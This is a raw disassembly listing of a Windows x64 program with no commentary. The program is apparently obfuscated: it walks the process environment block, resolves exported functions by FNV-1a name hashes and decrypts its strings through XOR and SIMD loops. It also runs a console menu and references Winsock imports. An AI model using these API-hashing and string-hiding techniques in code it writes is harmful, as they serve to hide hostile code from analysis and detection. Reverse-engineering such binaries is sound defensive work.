jl 0x14000847a
movdqa xmm1, xmm9
movdqa xmm0, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm10
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp - 0x30], xmm1
jmp 0x1400084aa
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140007ef0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140007fe0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov edx, dword [rcx + rdx*4]
add rdx, r9
jmp 0x1400080af
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000817f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000824f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x140008340
lea r9, [rbp - 0x30]
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140008480
lea rcx, [rbp - 0x30]
call r10
movups xmm2, xmmword [0x140079ff0]
movzx eax, byte [0x14007a000]
xor ecx, ecx
mov byte [rsp + 0x68], al
movups xmmword [rsp + 0x58], xmm2
cmp r12d, 2
jl 0x140008676
movd eax, xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm6
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
movd dword [rsp + 0x58], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x5c]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rsp + 0x5c], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x60]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm8
xorps xmm2, xmm1
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm10
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm10
movd dword [rsp + 0x60], xmm2
movdqa xmm2, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movd xmm1, dword [rsp + 0x64]
psubd xmm2, xmm0
andps xmm2, xmm11
movd xmm0, ecx
packuswb xmm2, xmm2
mov ecx, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov eax, ecx
lea r8, [rsp + 0x58]
add r8, rax
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x32
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x11
jl 0x140008680
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x58]
call fcn.140001ef0
cmp byte [0x14007a011], r13b
lea rdx, [rsp + 0x78]
movsd xmm0, qword [0x14007a008]
movzx eax, word [0x14007a010]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movsd qword [rsp + 0x78], xmm0
mov word [rbp - 0x80], ax
je 0x14000871e
xor byte [rsp + 0x79], 0x33
xor byte [rsp + 0x7a], 0x34
xor byte [rsp + 0x7b], 0x35
xor byte [rsp + 0x7c], 0x36
xor byte [rsp + 0x7d], 0x37
xor byte [rsp + 0x7e], 0x38
xor byte [rsp + 0x7f], 0x39
xor byte [rbp - 0x80], 0x3a
xor byte [rbp - 0x7f], 0x3b
mov byte [rsp + 0x78], Ordinal_50
call fcn.140001ef0
movzx eax, byte [0x14007a024]
xor ecx, ecx
movsd xmm0, qword [0x14007a018]
mov edx, dword [0x14007a020]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp - 0x6c], al
mov dword [rbp - 0x70], edx
movsd qword [rbp - 0x78], xmm0
cmp r12d, 2
jl 0x14000888a
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm6
pmuldq xmm0, xmm10
mov ecx, listen
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x14007a018]
xorps xmm1, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
movd dword [rbp - 0x78], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x74]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
movd dword [rbp - 0x74], xmm2
movdqa xmm1, xmm7
pmuldq xmm0, xmm10
movdqa xmm2, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x70], xmm2
mov eax, ecx
lea r8, [rbp - 0x78]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x32
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0xd
jl 0x1400088a0
lea rdx, [rbp - 0x78]
mov rcx, r9
call fcn.140001ef0
cmp byte [0x14007a031], r13b
movsd xmm0, qword [str.8pZ_T_]
movzx eax, word [0x14007a030]
movsd qword [rsp + 0x40], xmm0
mov word [rsp + 0x48], ax
je 0x140008930
xor byte [rsp + 0x41], 0x33
xor byte [rsp + 0x42], 0x34
xor byte [rsp + 0x43], 0x35
xor byte [rsp + 0x44], 0x36
xor byte [rsp + 0x45], 0x37
xor byte [rsp + 0x46], 0x38
xor byte [rsp + 0x47], 0x39
xor byte [rsp + 0x48], 0x3a
xor byte [rsp + 0x49], 0x3b
mov byte [rsp + 0x40], 0xa
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x40]
call fcn.140001ef0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x144]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 0x144]
mov r10, qword [0x140278cb0]
cmp eax, 1
jne 0x140009312
test r10, r10
jne 0x140008a27
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140008a08
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140008a08
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140008a03
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400089e0
cmp edx, 0x491e0a9c
je 0x140008aae
test r8d, r8d
jne 0x1400089c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140008a1d
cmp qword [rax + 0x30], r13
jne 0x140008990
xor r10d, r10d
mov qword [0x140278cb0], r10
cmp byte [0x14007a037], r13b
mov eax, dword [str.Q_G58vZASE]
mov dword [rbp - 0x2c], eax
je 0x140008afa
xor r8d, r8d
cmp r12d, 2
jl 0x140008acb
movdqa xmm1, xmm9
movdqa xmm0, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm10
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp - 0x2c], xmm1
jmp 0x140008afa
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x140008a20
lea r9, [rbp - 0x2c]
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140008ad0
lea rcx, [rbp - 0x2c]
call r10
cmp byte [0x14007a049], r13b
movups xmm2, xmmword [0x14007a038]
movzx eax, word [0x14007a048]
mov word [rsp + 0x68], ax
movups xmmword [rsp + 0x58], xmm2
je 0x140008d0f
xor ecx, ecx
cmp r12d, 2
jl 0x140008cd4
movd eax, xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm6
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
movd dword [rsp + 0x58], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x5c]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rsp + 0x5c], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x60]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm8
xorps xmm2, xmm1
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm10
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm10
movd dword [rsp + 0x60], xmm2
movdqa xmm2, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movd xmm1, dword [rsp + 0x64]
psubd xmm2, xmm0
andps xmm2, xmm11
movd xmm0, ecx
packuswb xmm2, xmm2
mov ecx, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov eax, ecx
lea r8, [rsp + 0x58]
add r8, rax
nop
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x32
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x12
jl 0x140008ce0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x58]
call fcn.140001ef0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [0x140278000]
call fcn.140001ca0
movups xmm2, xmmword [0x14007a050]
movzx eax, byte [0x14007a060]
xor ecx, ecx
mov byte [rsp + 0x68], al
movups xmmword [rsp + 0x58], xmm2
cmp r12d, 2
jl 0x140008ef8
movd eax, xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm6
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
movd dword [rsp + 0x58], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x5c]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rsp + 0x5c], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x60]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm8
xorps xmm2, xmm1
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm10
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm10
movd dword [rsp + 0x60], xmm2
movdqa xmm2, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movd xmm1, dword [rsp + 0x64]
psubd xmm2, xmm0
andps xmm2, xmm11
movd xmm0, ecx
packuswb xmm2, xmm2
mov ecx, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov eax, ecx
lea r8, [rsp + 0x58]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x32
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x11
jl 0x140008f10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x58]
call fcn.140001ef0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [0x140278020]
call fcn.140001ca0
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rsi, [0x140278020]
mov rdi, qword [0x140278030]
xorps xmm0, xmm0
cmova rsi, qword [0x140278020]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], r13
movups xmmword [rbp - 0x50], xmm0
cmp rdi, r14
ja 0x14000bf16
cmp rdi, 0xf
ja 0x140008fb7
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 0x50], xmm0
jmp 0x140009048
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x140008fd6
movabs rax, 0x8000000000000000
mov rbx, r14
add rax, 0x27
jmp 0x140009006
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140008ff0
xor eax, eax
jmp 0x14000902d
cmp rcx, 0x1000
jb 0x140009028
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000c036
mov rcx, rax
call fcn.140075f14
mov rcx, rax
test rax, rax
je 0x14000a36c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000902d
call fcn.140075f14
lea r8, [rdi + 1]
mov qword [rbp - 0x50], rax
mov rdx, rsi
mov qword [rbp - 0x40], rdi
mov rcx, rax
mov qword [rbp - 0x38], rbx
call sub.VCRUNTIME140.dll_memcpy
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rdi, [0x140278000]
mov rbx, qword [0x140278010]
xorps xmm0, xmm0
cmova rdi, qword [0x140278000]
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
movups xmmword [rsp + 0x58], xmm0
cmp rbx, r14
ja 0x14000bf16
cmp rbx, 0xf
ja 0x14000909f
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x58], xmm0
jmp 0x1400090f4
mov rax, rbx
or rax, 0xf
cmp rax, r14
jbe 0x1400090b0
mov rax, r14
jmp 0x1400090bd
cmp rax, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rax, rcx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
call fcn.140002150
mov rcx, qword [rsp + 0x50]
lea r8, [rbx + 1]
mov qword [rsp + 0x70], rcx
mov rdx, rdi
mov rcx, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rbx
call sub.VCRUNTIME140.dll_memcpy
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x58]
lea rcx, [0x140278950]
call fcn.14001f580
cmp byte [0x140278b60], r13b
jne 0x14000a373
cmp byte [reloc.WS2_32.dll_gethostname], r13b
mov rax, qword [str.8vFGYE29Q_G5Q_G58vZASE]
mov qword [rsp + 0x50], rax
je 0x140009238
xor ecx, ecx
cmp r12d, 2
jl 0x14000920d
movd eax, xmm13
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm9
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x50]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm2, xmm1
punpckhdq xmm0, xmm6
movd dword [rsp + 0x50], xmm2
movdqa xmm1, xmm6
pmuldq xmm0, xmm10
movdqa xmm2, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x54]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x140009238
lea r8, [rsp + 0x50]
mov eax, 0x51eb851f
lea r8, [r8 + 1]
mul ecx
shr edx, 4
movsx eax, dl
imul edx, eax, 0x32
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 8
jl 0x140009212
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x50]
call fcn.140001ef0
mov rax, qword [0x140278cd0]
test rax, rax
jne 0x140009306
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400092e8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400092e8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400092e3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400092c0
cmp edx, 0x2fa62ca8
je 0x14000a342
test r8d, r8d
jne 0x1400092a0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400092fd
cmp qword [rax + 0x30], r13
jne 0x140009270
xor eax, eax
mov qword [0x140278cd0], rax
mov ecx, 0x3e8
call rax
jmp 0x140008282
cmp eax, 2
jne 0x140009f16
test r10, r10
jne 0x1400093d7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400093b8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400093b8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400093b3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140009390
cmp edx, 0x491e0a9c
je 0x140009460
test r8d, r8d
jne 0x140009370
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1400093cd
cmp qword [rax + 0x30], r13
jne 0x140009340
xor r10d, r10d
mov qword [0x140278cb0], r10
cmp byte [0x14007a097], r13b
mov eax, dword [0x14007a094]
mov dword [rsp + 0x30], eax
je 0x1400094ba
xor r8d, r8d
cmp r12d, 2
jl 0x14000947d
movdqa xmm1, xmm9
movdqa xmm0, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm10
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rsp + 0x30], xmm1
jmp 0x1400094ba
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
jmp 0x1400093d0
lea r9, [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140009490
lea rcx, [rsp + 0x30]
call r10
cmp byte [0x14007a0a9], r13b
movups xmm2, xmmword [0x14007a098]
movzx eax, word [0x14007a0a8]
mov word [rsp + 0x68], ax
movups xmmword [rsp + 0x58], xmm2
je 0x1400096cf
xor ecx, ecx
cmp r12d, 2
jl 0x140009695
movd eax, xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
movdqa xmm2, xmm6
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm9
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm10
movd dword [rsp + 0x58], xmm1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
